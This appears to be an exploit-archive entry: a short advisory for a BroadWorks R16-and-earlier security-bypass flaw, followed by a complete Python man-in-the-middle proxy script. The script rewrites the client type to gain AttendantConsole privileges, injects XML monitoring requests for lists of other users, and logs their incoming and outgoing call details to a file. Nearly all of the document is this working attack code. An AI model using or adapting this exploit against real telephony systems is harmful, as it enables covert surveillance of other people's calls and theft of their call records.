1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 |
source: https://www.securityfocus.com/bid/44597/info BroadWorks is prone to a security-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and to obtain sensitive information. Successful exploits will enable the attacker to monitor the incoming and outgoing calls of users in other enterprise groups. BroadWorks versions R16 and prior are vulnerable. #!/usr/env/python # Nick Freeman | vt[ nick.freeman@security-assessment.com ] May 2k10 # When running the proxy, each request prompts for k, m, i or your input: # # K/Enter - forwards the packet # m - automodifies the packet (see changeme and automod variables) # i - prompts for a file containing usernames in the 098765@sp.com format # input - sends your raw input (i.e., paste an XML message in there) # # When you're auth'd and ready to monitor other users, generate a packet to BroadWorks (address book update for example), select 'i' and specify a file with usernames in it. import socket, ssl, sys, re, time from xml.dom import minidom # define local listening ip, port lhost = '127.0.0.1' lport = 1111 # define dest host, port, and domain dhost = '' dport = 1111 ddomregex = '@serviceprovider\.com.*' # SP's domain name, only regexd # define automod changeme = 'CallClient' # the string to automagically change tothis = 'AttendantConsole' # what you want it to automagically change to # define injection params userUid = '' # userUid of YOUR user (with AttendantConsole privs) applicationId = 'Client License 4' monitorpacket = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><BroadsoftDocument protocol="CAP" version="14.0"><command commandType="monitoringUsersRequest"><commandData><user userType="AttendantConsole" userUid="' + userUid + '"><applicationId>'+ applicationId + '</applicationId><monitoring monType="Add"/>QQQQ</user></commandData></command></BroadsoftDocument>' monUserLine = '<monUser>ZZ</monUser>' # define logfile logfile = 'call-logs.txt' # the listener ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ls.bind((lhost, lport)) print "+ Bound to port " + <code>lport ls.listen(1) print "+ Listening..\n" # the sender ds = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sds = ssl.wrap_socket(ds) # start listening lconn, addr = ls.accept() print '+ Connected by', addr # connect to remote host sds.connect((dhost, dport)) print '+ Connected to remote host' def local_packetgrab(): ldata = "" lconn.settimeout(1) try: ldata = lconn.recv(2048) if len(ldata) < 5: return 'nodata' # debug #print ">>>>>>>>>>>>>>>>>>>>>>>>>>\n" #print "Received data from client:\n" #print ">>>>>>>>>>>>>>>>>>>>>>>>>>\n" #print ldata # We have received some data, lets check if its finished or not while 1: line = "" try: line = lconn.recv(2048) # debug #print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n" #print "Received more data from client:\n" #print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n" #print line ldata += line except socket.timeout: # debug #print "No additional data received." break # possibly not necessary if line == "": break except socket.timeout: # No data received from client return 'nodata' if len(ldata) > 5: print ">>>>>>>>>>>>>>>>>\n" print "Data from client:\n" print ">>>>>>>>>>>>>>>>>\n" print ldata return ldata else: # No data received from client return 'nodata' def remote_packetgrab(): ddata = "" sds.settimeout(1) try: ddata = sds.recv(2048) # debug #print "<<<<<<<<<<<<<<<<<<<<<<<<<<\n" #print "Received data from server:\n" #print "<<<<<<<<<<<<<<<<<<<<<<<<<<\n" #print ddata # We have received from data, lets check if its finished or not while 1: dline = "" try: dline = sds.recv(2048) # debug #print "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n" #print "Received more data from server:\n" #print "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n" #print dline ddata += dline except: # debug #print "No additional data received.\n" break except: # No data received from server return 'nodata' if len(ddata) > 5: print "<<<<<<<<<<<<<<<<<\n" print "Data from server:\n" print "<<<<<<<<<<<<<<<<<\n" print ddata # do CDR grab if re.search('callUpdate', ddata): logme = open(logfile, 'a') # it be a call packet xmldoc = minidom.parseString(ddata) if re.search('remoteTelUri', ddata): if re.search('\<state\>2', ddata): # it be an incoming call callTo = xmldoc.getElementsByTagName('monitoredUserId')[0].toxml() callTo = re.sub('\<monitoredUserId\>', '', callTo) callTo = re.sub(ddomregex, '', callTo) callFrom = xmldoc.getElementsByTagName('remoteTelUri')[0].toxml() callFrom = re.sub('\<remoteTelUri\>tel\:', '', callFrom) callFrom = re.sub('\<\/remote.*', '', callFrom) localtime = time.asctime( time.localtime(time.time()) ) logstring = "[" + localtime + "]: Incoming call to " + callTo + " from " + callFrom + "!\n" logme.write(logstring) print logstring logme.close() else: if re.search('\<state\>2', ddata): # it be an outgoing call callFrom = xmldoc.getElementsByTagName('monitoredUserId')[0].toxml() callFrom = re.sub('\<monitoredUserId\>', '', callFrom) callFrom = re.sub(ddomregex, '', callFrom) callTo = xmldoc.getElementsByTagName('remoteNumber')[0].toxml() callTo = re.sub('\<remoteNumber\>', '', callTo) callTo = re.sub('\<\/remote.*', '', callTo) localtime = time.asctime( time.localtime(time.time()) ) logstring = "[" + localtime + "]: Outgoing call from " + callFrom + " to " + callTo + "!\n" logme.write(logstring) print logstring logme.close() return ddata else: # No data received from server return 'nodata' def packet_handle(packet): user_input = raw_input("ACTION: 'k', 'm', 'i' or your input:\n-------------------------------\n") if user_input == 'k' or user_input == '': print "Sending request as is..\n" print "-----------------------\n" return packet elif user_input == 'm': print "Sending auto-modded request..\n" print "-----------------------------\n" packet = re.sub(changeme, tothis, packet) return packet elif user_input == "i": filename = raw_input("Input file containing usernames:\n--------------------------------\n"); try: file = open(filename, 'r') except: filename = raw_input("File does not exist. Try again:\n-------------------------------\n") file_line = 0 injection_input = '' for each_line in file: print "Read line: " + each_line mond_user = re.sub('ZZ', each_line, monUserLine) injection_input = injection_input + mond_user file_line = file_line + 1 if file_line >= 100: evilpacket = re.sub('QQQQ', injection_input, monitorpacket) print "Sending injection packet.." print "--------------------------\n" evilpacket = re.sub('\n', '', evilpacket) print evilpacket sds.send(evilpacket) file_line = 0 # we have now got 100 users to add. send the packet, then continue sorting through users. if len(injection_input) > 10: evilpacket = re.sub('QQQQ', injection_input, monitorpacket) print "Sending injection packet.." print "--------------------------\n" evilpacket = re.sub('\n', '', evilpacket) print evilpacket sds.send(evilpacket) # after all injection is done, return initial packet file.close() return packet else: print "Sending modified packet..\n" print "-------------------------\n" return user_input while 1: # Debug #print "Checking for client packet..\n" print ">" local_data = local_packetgrab() if local_data != 'nodata' and len(local_data) > 5: lpacket_tosend = packet_handle(local_data) sds.send(lpacket_tosend) # Debug #print "Checking for server packet..\n" print "<" remote_data = remote_packetgrab() if remote_data != 'nodata' and len(remote_data) > 5: rpacket_tosend = packet_handle(remote_data) lconn.send(rpacket_tosend) |